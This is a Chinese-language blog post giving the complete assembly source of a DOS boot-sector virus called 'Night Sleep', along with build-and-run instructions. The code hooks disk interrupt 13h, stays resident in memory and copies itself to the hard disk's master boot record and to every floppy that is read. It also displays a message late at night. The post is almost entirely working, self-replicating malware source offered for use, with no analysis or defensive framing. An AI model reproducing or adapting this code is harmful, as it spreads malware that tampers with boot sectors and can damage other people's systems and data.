English Sentence Loading...
英语句子加载中...

用汇编写引导区病毒

;引导区病毒样例
;制作方法:tasm boot.asm; tlink boot.asm;
;生成boot.exe,执行即可
.286
.model small
.code
;程序入口参数
;ax=内存高端地址 bx=7c00h 引导程序起始地址
;cx=0001h 表示从ch(00)磁道cl(01)扇区读出了本程序
;dx=00/80h 表示从dx(00:A驱)(80:C驱)读出了本程序
;ds=es=ss=cs=0 初始段值
OFF EQU <OFFSET>
VirusSize=OFF @@END-OFF @@Start
@@Start:
     JMP    SHORT @@Begin
     VirusFlag DB 'V' ;病毒标志
@@BootData: ;这里有两个重要数据结构,不能是代码
     orG   50h ;病毒从Offset50h开始,病毒未用以上数据
@@Begin:      ;但其它程序可能使用,故须保留
     MOV   BX,7c00h
     MOV   SP,BX ;设sp,使ss:sp=0:7c00h
     STI
     MOV   AX,DS:[413h] ;得到内存大小(0:413h单元存有以K计数的内存大小)
     DEC   AX
     DEC   AX
     MOV   DS:[413h],AX ;将原内存大小减2K
     MOV   CL,06
     SHL   AX,CL   ;计算高端内存地址
     MOV   ES,AX
     XOR   DI,DI
     MOV   SI,SP
     MOV   CX,VirusSize
     CLD
     REP   movsb   ;把病毒搬移到高端地址里
     PUSH AX
     MOV   DI,OFF @@HighAddr
     PUSH DI
     RETF        ;跳到高端继续执行
@@HighAddr:
     CLI         ;修改中断向量前,最好关中断
     XCHG DS:[13h*4+2],AX
     MOV   CS:[OldInt13Seg],AX
     MOV   AX,OFF @@NewInt13
     XCHG DS:[13h*4],AX
     MOV   CS:[OldInt13Off],AX ;修改中断13h
     PUSH DS
     POP   ES ;把es复位为0
     CMP   DL,80h ;是否从硬盘引导?
     JZ    SHORT @@ReadOldHardBoot
     PUSH DX ; 从软盘引导,则传染硬盘
     MOV   DL,80h
     CALL @@OptDisk ;调用传染模块
     POP   DX
@@ReadOldFlopyBoot:   ;读出原软盘引导程序      
     MOV   AX,0201h
     MOV   CX,79*100h+17 ;传染时将原引导程序保存在0面79道17扇区中
     MOV   DH,00h
     CALL @@CallInt13
     JC    SHORT @@ReadOldFlopyBoot ;失败,继续读直到成功
@@ExecOldBoot:
     CMP   ES:[bx.Flags],0aa55h
     JNZ   @@ExecOldBoot
     MOV   AH,02h
     INT   1ah ;取系统时间
     CMP   CX,22*100h+30 ;是否大于22:30分
     JB    @@ExitDisp   ;未到,则不显示
     LEA   SI,VirusMsg    
@@DispMsg:
     MOV   AL,CS:[SI]
     INC   SI
     MOV   AH,0eh
     INT   10h    ;显示al中的字符
     or    AL,AL
     JNZ   @@DispMsg
     XOR   AX,AX
     INT   16h
@@ExitDisp:
     MOV   CX,0001h ;恢复cx初值
     PUSH ES
     PUSH BX
     RETF       ;去执行原引导程序
@@ReadOldHardBoot:
     MOV   AX,0201h    
     MOV   CX,0002h ;传染时将原硬盘主引导程序保存在0面0道2扇区中
     MOV   DH,00h    
     CALL @@CallInt13 ;读出
     JC    SHORT @@ReadOldHardBoot ;失败,继续读直到成功
     JMP   SHORT @@ExecOldBoot ;去执行原引导程序
@@NewInt13:       ;新Int 13h(传染块)  
     CMP   DX,0000h   ;是软盘吗?
     JNZ   SHORT @@JmpOldInt13
     CMP   AH,02h    
     JNZ   SHORT @@JmpOldInt13
     CMP   CX,0001h
     JNZ   SHORT @@JmpOldInt13
     CALL @@OptDisk ;若发现读软盘扇区,则感染软盘
@@JmpOldInt13:
     CLI
     JmpFar       DB 0eah ;远跳转指令
     OldInt13Off DW ?
     OldInt13Seg DW ?
@@CallInt13:    
     PUSHF      ;模拟Int 13h指令  
     PUSH CS
     CALL @@JmpOldInt13
     RET      
@@OptDisk:    ;传染dl表示的磁盘(dl-0 A: 80:C)
     pusha
     PUSH DS
     PUSH ES    ;保存段址与通用寄存器
     PUSH CS
     POP   ES
     PUSH CS
     POP   DS    ;使ds=es=cs
     MOV   BX,OFF OldBootSpace
     MOV   AX,0201h
     MOV   CX,0001h
     MOV   DH,00h
     CALL @@CallInt13 ;读原引导扇区
     JC    SHORT @@OptOver
     MOV   DI,BX
     CMP   DS:[di.VirusFlag],'V' ;判断是否已经有病毒?
     JZ    SHORT @@OptOver   ;若有,则退出
     CMP   DL,00h
     JZ    SHORT @@IsOptFlopyDisk
@@IsOptHardDisk:
     MOV   CX,0002h   ;若是硬盘,保存在0面0道2扇区        
     JMP   SHORT @@SaveOldBoot
@@IsOptFlopyDisk:
     MOV   CX,79*100h+17 ;若是软盘,保存在0面79道17扇区        
@@SaveOldBoot:    
     MOV   AX,0301h  
     MOV   DH,0h
     CALL @@CallInt13   ;保存原引导扇区
     JC    SHORT @@OptOver
     MOV   SI,OFF @@Start
     CLD
     movsw
     movsb    ;修改原扇区首指令(Jmp near 3字节)
     MOV   DI,OFF @@Begin+200h
     MOV   SI,OFF @@Begin
     MOV   CX,OFF @@END-OFF @@Begin
     CLD
     REP   movsb      ;修改原引导扇区指令cx字节
     MOV   AX,0301h
     MOV   CX,0001h
     MOV   DH,00h
     CALL @@CallInt13   ;写回已经被修改了的引导程序  
@@OptOver:    ;退出传染
     POP   ES
     POP   DS   ;恢复段址与通用寄存器
     popa
     RET       ;以下是病毒要显示的信息,与病毒版本信息
     VirusMsg   DB 0dh,0ah,07h,'Night is deep,you must go sleep!',0dh,0ah,0
               DB 'Night Sleep ver 1.0,by whg 2001.5.5',0      
@@END:    
     orG        1feh
     Flags      DW   0aa55h ;引导扇区有效标志
     OldBootSpace   DB 210h DUP(?) ;定义缓冲区
@@Install:
     XOR   AX,AX
     MOV   DS,AX
     CLI
     MOV   AX,DS:[13h*4]
     MOV   CS:[OldInt13Off],AX
     MOV   AX,DS:[13h*4+2]
     MOV   CS:[OldInt13Seg],AX
     MOV   DL,80h
     CALL @@OptDisk
     MOV   AX,4c00h
     INT   21h
END @@Install
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags: 汇编 蠕虫 病毒 计算机 引导区
相关日志:
评论: 0 | 引用: 0 | 查看次数: 1990